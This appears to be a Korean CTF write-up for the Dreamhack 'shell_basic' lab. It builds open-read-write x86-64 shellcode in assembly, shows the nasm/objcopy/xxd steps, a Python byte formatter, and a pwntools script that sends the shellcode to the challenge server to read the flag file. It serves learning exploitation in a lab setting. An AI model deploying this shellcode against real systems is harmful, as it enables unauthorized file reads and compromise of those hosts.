▶ 풀이방식
해당 Dreamhack 과정에서 assembly를 직접 써보게하고 실습을 시킨다는 점을 고려하여 직접 assembly 코드를 작성하고, 이를 통해서 shellcode를 직접 구성하여 풀이했다.
▶ 어셈블리코드 구성
문제에서 /home/shell_basic/flag_name_is_loooooong를 읽으라고 했으므로, orw코드를 구성해서 푸는 방법을 생각해볼 수 있다. open - read - write 의 assembly 구성은 다음과 같이 구성했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
section .text
global_start
_start:
push 0x00
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x02
syscall
mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x00
syscall
mov rdi, 0x01
mov rax, 0x01
syscall
mov rax, 0x3c
syscall
|
cs |
공란 기준으로 각각 open, read, write, exit 을 구성하는 assembly 코드이다(shell.s). 이를 쉘 코드로 변환하려면, 우선 해당 assembly코드를 목적파일로 변환하고(nasm -f elf64 -o shell.o shell.s), 해당 어셈블리 코드를 목적파일을 순수한 바이너리로 복사하고(objcopy --dump-section .text=shell.bin shell.o), 파일을 16진수로 보여주는 xxd를 활용해야 한다(xxd shell.bin).
1
2
3
4
5
6
7
8
9
10
11
|
┌──(root㉿kali)-[~]
└─# xxd shell.bin
00000000: 6a00 48b8 6f6f 6f6f 6f6f 6e67 5048 b861 j.H.oooooongPH.a
00000010: 6d65 5f69 735f 6c50 48b8 632f 666c 6167 me_is_lPH.c/flag
00000020: 5f6e 5048 b865 6c6c 5f62 6173 6950 48b8 _nPH.ell_basiPH.
00000030: 2f68 6f6d 652f 7368 5048 89e7 4831 f648 /home/shPH..H1.H
00000040: 31d2 b802 0000 000f 0548 89c7 4889 e648 1........H..H..H
00000050: 83ee 30ba 3000 0000 b800 0000 000f 05bf ..0.0...........
00000060: 0100 0000 b801 0000 000f 05b8 3c00 0000 ............<...
00000070: 0f05 ..
|
cs |
이제 위에 보이는 16진수 숫자들에 \x를 앞에 붙이면 쉘코드 완성이다. 모자란 python실력을 발휘하여, 약간의 자동화를 통해서 수고를 덜어보자
1
2
3
4
5
6
|
string = input("shellcode? : ")
string = string.replace(" ","")
result = [string[i:i+2] for i in range(0, len(string), 2)]
shellcode = '\\x'.join(result)
shellcode = '\\x'+shellcode
print(shellcode)
|
cs |
위의 쉘코드를 입력하여 쉘코드를 완성해준다.
직접 nc로 접속해서 shellcode를 입력하면 flag를 획득할 수 없다. 이유는 모르겠다. pwntools를 사용하라고 댓글에 나와있으므로, pwntools를 사용해보자.
1
2
3
4
5
6
7
|
from pwn import *
p = remote("host2.dreamhack.games", 16576)
shellcode = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\x0f\x05"
p.sendafter(b": ", shellcode)
p.interactive()
|
cs |
그럼 다음과 같이 flag를 뱉어낸다.
댓글